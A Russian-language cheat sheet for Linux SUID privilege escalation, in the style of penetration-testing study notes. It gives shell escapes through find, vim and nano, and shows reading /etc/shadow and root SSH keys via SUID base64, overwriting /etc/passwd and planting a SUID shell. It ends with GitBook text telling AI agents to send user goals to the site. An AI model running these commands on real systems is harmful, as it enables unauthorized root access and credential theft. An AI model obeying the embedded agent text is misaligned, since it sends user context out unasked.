> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/suid.md).

# SUID

Заметки по эскалации привилегий через SUID в Linux для уязвимых двоичных файлов, рабочих процессов GTFOBins, PwnKit, Nmap, PHP, screen и пользовательских SUID-бинарников.

Двоичные файлы SUID запускаются с привилегиями своего владельца, часто root. Уязвимый, устаревший или слишком гибкий двоичный файл SUID может читать защищённые файлы, запускать оболочку с повышенными привилегиями или выполнять код, контролируемый атакующим.

## Методология

* Перечислите двоичные файлы SUID и сравните необычные записи с GTFOBins.
* В первую очередь проверяйте пользовательские двоичные файлы, старые версии, записи с доступными для записи зависимостями и двоичные файлы, расположенные вне стандартных системных путей.
* Проверьте примитивы чтения, записи, выполнения команд и загрузки библиотек, прежде чем запускать деструктивные полезные нагрузки.

## Быстрые проверки

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## Анализ SUID и SGID

SUID запускает двоичный файл с привилегиями владельца файла, тогда как SGID запускает его с привилегиями группы файла. После перечисления сравните необычные двоичные файлы с [GTFOBins](https://gtfobins.github.io/) и в первую очередь проверяйте пользовательские пути, каталоги с возможностью записи и двоичные файлы, принадлежащие root.

Полезные быстрые проверки:

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

Типичные примеры в стиле GTFOBins:

```bash
find . -exec /bin/sh -p \; -quit
```

Для `nano`, используйте `Ctrl+R`, затем `Ctrl+X`, затем выполните:

```
reset; sh 1>&0 2>&0
```

Для `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

Если рабочий процесс копирования SUID/с повышенными привилегиями может перезаписать важные файлы, тщательно проверьте примитив записи, прежде чем трогать рабочие файлы:

```bash
cp /tmp/malicious_passwd /etc/passwd
```

Если `base64` имеет SUID, используйте его как примитив для чтения, а не как примитив для получения оболочки:

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

Если `cp` имеет SUID, проверьте, может ли он создать или сохранить копию с повышенными привилегиями:

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

Обычные двоичные файлы SUID/SGID, которые стоит проверить:

| Бинарный файл                                         | Зачем проверять                                                 |
| ----------------------------------------------------- | --------------------------------------------------------------- |
| `sudo` / `su`                                         | Инструменты для прямого пересечения границы привилегий.         |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                 | Вспомогательные средства для изменения учётных записей и групп. |
| `по адресу`                                           | Запланированное выполнение команд.                              |
| `mount`, `umount`                                     | Доступ к файловой системе и параметры монтирования.             |
| `pkexec`                                              | Вспомогательная утилита Polkit, исторически затронутая PwnKit.  |
| `base64`                                              | Читать защищённые файлы и декодировать их локально.             |
| `cp`                                                  | Копировать или перезаписывать файлы, если это позволяют права.  |
| `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | Примитивы оболочки, чтения или записи файлов в стиле GTFOBins.  |
| `nmap`                                                | Наследованный интерактивный режим или пути выполнения скриптов. |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>Примечания по SUID (Pkexec) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-pkexec-linux-privilege-escalation.md">SUID (Pkexec) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>Примечания по SUID (Base64) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-base64-linux-privilege-escalation.md">SUID (Base64) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>Примечания по SUID (PHP) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-php-linux-privilege-escalation.md">SUID (PHP) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Core Dump /opt/count</h4></td><td>Примечания по SUID — дамп памяти (/opt/count) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md">SUID Core Dump /opt/count - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Отсутствующий файл</h4></td><td>Примечания по двоичному файлу SUID (отсутствующий файл) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-missing-file-linux-privilege-escalation.md">SUID: отсутствующий файл - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>Примечания по SUID (screen) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-screen-linux-privilege-escalation.md">SUID screen - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>Примечания по SUID (Nmap) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-nmap-linux-privilege-escalation.md">SUID (Nmap) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>Резервный двоичный файл SUID</h4></td><td>Примечания по двоичному файлу SUID (резервная копия) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-backup-binary-linux-privilege-escalation.md">Двоичный файл SUID (резервная копия) - эскалация привилегий в Linux</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>Примечания по SUID (Enlightenment) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверками, ориентированными на отчётность.</td><td><a href="/ru/privesc/suid/suid-enlightenment-linux-privilege-escalation.md">SUID (Enlightenment) – эскалация привилегий в Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/suid.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
